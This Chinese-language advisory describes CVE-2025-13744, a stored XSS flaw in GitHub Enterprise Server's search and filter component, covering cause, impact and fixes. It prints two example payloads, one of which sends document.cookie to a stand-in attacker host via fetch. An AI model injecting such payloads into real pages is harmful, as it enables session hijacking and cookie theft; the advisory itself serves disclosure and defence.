CVE-2025-13744CVE-2025-13744是GitHub Enterprise Server中的一个存储型跨站脚本漏洞,存在于搜索/过滤器组件中。该漏洞允许经过身份验证的低权限攻击者通过在milestones、issues、pull requests或其他实体的名称中注入恶意HTML或JavaScript代码,当其他用户在搜索或过滤这些内容时,恶意脚本会在受害者浏览器中执行。攻击者可以利用此漏洞窃取会话cookie、劫持用户会话、进行钓鱼攻击或提取敏感信息。由于该漏洞影响所有3.14版本之前的GitHub Enterprise Server实例,且攻击门槛较低(只需创建/修改实体名称的权限),对未及时修复的系统构成中等程度的安全风险。建议管理员立即升级到安全版本,并在升级前限制用户创建敏感实体名称的权限。
该漏洞的根本原因在于GitHub Enterprise Server的Filter组件在处理用户输入的实体名称时,未能正确对HTML特殊字符进行转义或过滤。当攻击者创建一个包含恶意JavaScript代码的milestone、issue或pull request名称后,该名称会被存储在数据库中。在后续的搜索结果展示或过滤器下拉列表渲染过程中,未经过滤的用户输入被直接插入到HTML页面中,导致恶意脚本在受害者浏览器中执行。攻击者可以利用<img src=x onerror=alert(document.cookie)>或<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>等payload触发XSS。成功利用此漏洞需要:1)具有创建或修改实体名称的权限;2)诱导其他用户访问包含恶意内容的搜索结果或过滤器界面。攻击者通常会结合社会工程学手段,如发送包含恶意链接的邮件或评论,来提高攻击成功率。